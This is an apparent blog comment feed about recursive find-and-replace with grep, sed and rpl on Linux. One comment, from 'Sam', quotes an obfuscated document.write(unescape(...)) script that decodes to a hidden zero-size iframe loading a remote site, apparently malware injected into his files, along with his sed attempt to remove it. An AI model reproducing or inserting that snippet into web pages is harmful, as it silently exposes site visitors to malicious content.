Comments on: Search and Replace in all files within a directory recursively on Linux http://www.jonasblog.com/2006/05/search-and-replace-in-all-files-within-a-directory-recursively.html John Jonas on Living The 4-Hour Workweek Thu, 18 Mar 2010 00:21:09 +0000 hourly 1 By: Batch Find and Replace with the Linux Command Line « The Wubbulous World of Jerry Waller http://www.jonasblog.com/2006/05/search-and-replace-in-all-files-within-a-directory-recursively.html/comment-page-1#comment-63247 Batch Find and Replace with the Linux Command Line « The Wubbulous World of Jerry Waller Thu, 07 Jan 2010 20:52:07 +0000 http://www.jonasblog.com/2006/05/search-and-replace-in-all-files-within-a-directory-recursively.html#comment-63247 [...] tip to the author and commenters here and here.  Now both options are in one convenient location.  ;) Possibly related posts: [...] [...] tip to the author and commenters here and here.  Now both options are in one convenient location.  ;) Possibly related posts: [...]

]]> By: Afiyf http://www.jonasblog.com/2006/05/search-and-replace-in-all-files-within-a-directory-recursively.html/comment-page-1#comment-62503 Afiyf Sun, 06 Sep 2009 00:05:33 +0000 http://www.jonasblog.com/2006/05/search-and-replace-in-all-files-within-a-directory-recursively.html#comment-62503 I used grep to search through multiple files grep -r "search string1" This gives me a very long list of files in multiple directories the need to be changed. I tried using grep -rl matchstring somedir/ | xargs sed -i ’s/search string1/search string2/’ somedir = my directory, however No such file or directory was found also no input files are found. I have 600 occurances of "search string 1" that need to be replaced with "search string 2". Do the Double quotes vary beween Linux and Unix? I used grep to search through multiple files

grep -r “search string1″
This gives me a very long list of files in multiple directories the need to be changed.

I tried using
grep -rl matchstring somedir/ | xargs sed -i ’s/search string1/search string2/’

somedir = my directory, however No such file or directory was found also no input files are found.

I have 600 occurances of “search string 1″ that need to be replaced with “search string 2″.

Do the Double quotes vary beween Linux and Unix?

]]> By: Andrew P. http://www.jonasblog.com/2006/05/search-and-replace-in-all-files-within-a-directory-recursively.html/comment-page-1#comment-62275 Andrew P. Fri, 05 Jun 2009 18:59:07 +0000 http://www.jonasblog.com/2006/05/search-and-replace-in-all-files-within-a-directory-recursively.html#comment-62275 Nice post, many good comments. Aside from the mechanics of finding and replacing strings in multiple text files, I wonder where this fashion of using grave accents and acute accents in place of apostrophes and quotation marks started. Even worse, rather than using Microsoft Word-style "smart quotes", they fake it by using two grave accents, acute accents or apostrophes together. I see it mostly in British news sites, and now increasingly in American news sites. Now it's creeping into other places as well. I spend (too much) time editing on Wikipedia, where I frequently copy entire articles into an external editor and use a global search-and-replace to blow away this nuttiness. It would appear that in recent decades the quality of education in the entire English-speaking world has declined. Nice post, many good comments. Aside from the mechanics of finding and replacing strings in multiple text files, I wonder where this fashion of using grave accents and acute accents in place of apostrophes and quotation marks started. Even worse, rather than using Microsoft Word-style “smart quotes”, they fake it by using two grave accents, acute accents or apostrophes together. I see it mostly in British news sites, and now increasingly in American news sites. Now it’s creeping into other places as well. I spend (too much) time editing on Wikipedia, where I frequently copy entire articles into an external editor and use a global search-and-replace to blow away this nuttiness. It would appear that in recent decades the quality of education in the entire English-speaking world has declined.

]]> By: Vishwa http://www.jonasblog.com/2006/05/search-and-replace-in-all-files-within-a-directory-recursively.html/comment-page-1#comment-62186 Vishwa Fri, 01 May 2009 13:28:17 +0000 http://www.jonasblog.com/2006/05/search-and-replace-in-all-files-within-a-directory-recursively.html#comment-62186 Thanks! This is the command i was looking for. Thanks!
This is the command i was looking for.

]]> By: gad http://www.jonasblog.com/2006/05/search-and-replace-in-all-files-within-a-directory-recursively.html/comment-page-1#comment-62113 gad Mon, 20 Apr 2009 09:08:43 +0000 http://www.jonasblog.com/2006/05/search-and-replace-in-all-files-within-a-directory-recursively.html#comment-62113 Replace backslash / by pipe | in the sed command, e.g.: grep -rl matchstring somedir/ | xargs sed -i 's|string1|string2|g' Working for strings containing backslash, for example: html, javascript, url etc. Replace backslash / by pipe | in the sed command, e.g.:

grep -rl matchstring somedir/ | xargs sed -i ’s|string1|string2|g’

Working for strings containing backslash, for example: html, javascript, url etc.

]]> By: Sam http://www.jonasblog.com/2006/05/search-and-replace-in-all-files-within-a-directory-recursively.html/comment-page-1#comment-61756 Sam Fri, 13 Mar 2009 04:24:25 +0000 http://www.jonasblog.com/2006/05/search-and-replace-in-all-files-within-a-directory-recursively.html#comment-61756 Hrm... I've been trying to recursively traverse child directories of the CWD and replace a string of JavaScript with a piece of text in every file in which it appears. The string of JavaScript is causing me problems though. "[OPENBRACKET]script type="text/javascript"[CLOSEBRACKET]document.write(unescape('%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%72%65%79%63%72%6F%73%73%2E%63%6F%6D%2F%74%6F%6D%69%2F%3F%74%3D%32%22%20%77%69%64%74%68%3D%30%20%68%65%69%67%68%74%3D%30%20%73%74%79%6C%65%3D%22%68%69%64%64%65%6E%22%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%30%20%6D%61%72%67%69%6E%68%65%69%67%68%74%3D%30%20%6D%61%72%67%69%6E%77%69%64%74%68%3D%30%20%73%63%72%6F%6C%6C%69%6E%67%3D%6E%6F%3E%3C%2F%69%66%72%61%6D%65%3E'));[OPENBRACKET]/script[CLOSEBRACKET]" Of course, the [OPEN/CLOSEBRACKET]'s are replacing the actual straight brackets for the purpose of posting here. I tried a few things, last of which was: grep -rl "document.write(unescape('%3C%69%66%72" ./ | xargs sed -i "s/document\.write\(unescape\('%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%72%65%79%63%72%6F%73%73%2E%63%6F%6D%2F%74%6F%6D%69%2F%3F%74%3D%32%22%20%77%69%64%74%68%3D%30%20%68%65%69%67%68%74%3D%30%20%73%74%79%6C%65%3D%22%68%69%64%64%65%6E%22%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%30%20%6D%61%72%67%69%6E%68%65%69%67%68%74%3D%30%20%6D%61%72%67%69%6E%77%69%64%74%68%3D%30%20%73%63%72%6F%6C%6C%69%6E%67%3D%6E%6F%3E%3C%2F%69%66%72%61%6D%65%3E'\)\);//g" As you can probably see, I'm still kind of new to regular expressions. Any ideas? Much thanks! Hrm… I’ve been trying to recursively traverse child directories of the CWD and replace a string of JavaScript with a piece of text in every file in which it appears.

The string of JavaScript is causing me problems though. “[OPENBRACKET]script type=”text/javascript”[CLOSEBRACKET]document.write(unescape(‘%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%72%65%79%63%72%6F%73%73%2E%63%6F%6D%2F%74%6F%6D%69%2F%3F%74%3D%32%22%20%77%69%64%74%68%3D%30%20%68%65%69%67%68%74%3D%30%20%73%74%79%6C%65%3D%22%68%69%64%64%65%6E%22%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%30%20%6D%61%72%67%69%6E%68%65%69%67%68%74%3D%30%20%6D%61%72%67%69%6E%77%69%64%74%68%3D%30%20%73%63%72%6F%6C%6C%69%6E%67%3D%6E%6F%3E%3C%2F%69%66%72%61%6D%65%3E’));[OPENBRACKET]/script[CLOSEBRACKET]”

Of course, the [OPEN/CLOSEBRACKET]’s are replacing the actual straight brackets for the purpose of posting here.

I tried a few things, last of which was:

grep -rl “document.write(unescape(‘%3C%69%66%72″ ./ | xargs sed -i “s/document\.write\(unescape\(‘%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%72%65%79%63%72%6F%73%73%2E%63%6F%6D%2F%74%6F%6D%69%2F%3F%74%3D%32%22%20%77%69%64%74%68%3D%30%20%68%65%69%67%68%74%3D%30%20%73%74%79%6C%65%3D%22%68%69%64%64%65%6E%22%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%30%20%6D%61%72%67%69%6E%68%65%69%67%68%74%3D%30%20%6D%61%72%67%69%6E%77%69%64%74%68%3D%30%20%73%63%72%6F%6C%6C%69%6E%67%3D%6E%6F%3E%3C%2F%69%66%72%61%6D%65%3E’\)\);//g”

As you can probably see, I’m still kind of new to regular expressions. Any ideas?

Much thanks!

]]> By: JIA pei http://www.jonasblog.com/2006/05/search-and-replace-in-all-files-within-a-directory-recursively.html/comment-page-1#comment-61700 JIA pei Mon, 02 Mar 2009 21:42:06 +0000 http://www.jonasblog.com/2006/05/search-and-replace-in-all-files-within-a-directory-recursively.html#comment-61700 Always met the following problem, and the old strings are not changed to the new ones at all. sed: -e expression #1, char 1: unknown command: `�' Always met the following problem, and the old strings are not changed to the new ones at all.

sed: -e expression #1, char 1: unknown command: `�’

]]> By: Useful find Commands | unsharpTech http://www.jonasblog.com/2006/05/search-and-replace-in-all-files-within-a-directory-recursively.html/comment-page-1#comment-54172 Useful find Commands | unsharpTech Sat, 16 Aug 2008 13:34:58 +0000 http://www.jonasblog.com/2006/05/search-and-replace-in-all-files-within-a-directory-recursively.html#comment-54172 [...] Source: http://www.jonasblog.com/2006/05/search-and-replace-in-all-files-within-a-directory-recursively.html [...] [...] Source: http://www.jonasblog.com/2006/05/search-and-replace-in-all-files-within-a-directory-recursively.html [...]

]]> By: PST http://www.jonasblog.com/2006/05/search-and-replace-in-all-files-within-a-directory-recursively.html/comment-page-1#comment-31424 PST Fri, 07 Dec 2007 02:33:01 +0000 http://www.jonasblog.com/2006/05/search-and-replace-in-all-files-within-a-directory-recursively.html#comment-31424 Excellent help.... Excellent help….

]]> By: Marc A. Brown http://www.jonasblog.com/2006/05/search-and-replace-in-all-files-within-a-directory-recursively.html/comment-page-1#comment-4913 Marc A. Brown Wed, 27 Sep 2006 12:02:01 +0000 http://www.jonasblog.com/2006/05/search-and-replace-in-all-files-within-a-directory-recursively.html#comment-4913 It's much more simpler to use the 'rpl' command, as shown below: rpl -x'.cpp' -x'.h' -pR "old-string" "new-string" * Here, all files with a .cpp or .h suffix wil be searched for an "old-string". If found the "old-string" is replaced by the "new-string" in all directories recursively. To install on Ubuntu or Debian just do 'apt-get install rpl'. KR It’s much more simpler to use the ‘rpl’ command, as shown below:

rpl -x’.cpp’ -x’.h’ -pR “old-string” “new-string” *

Here, all files with a .cpp or .h suffix wil be searched for
an “old-string”. If found the “old-string” is replaced by the
“new-string” in all directories recursively.
To install on Ubuntu or Debian just do ‘apt-get install rpl’.

KR

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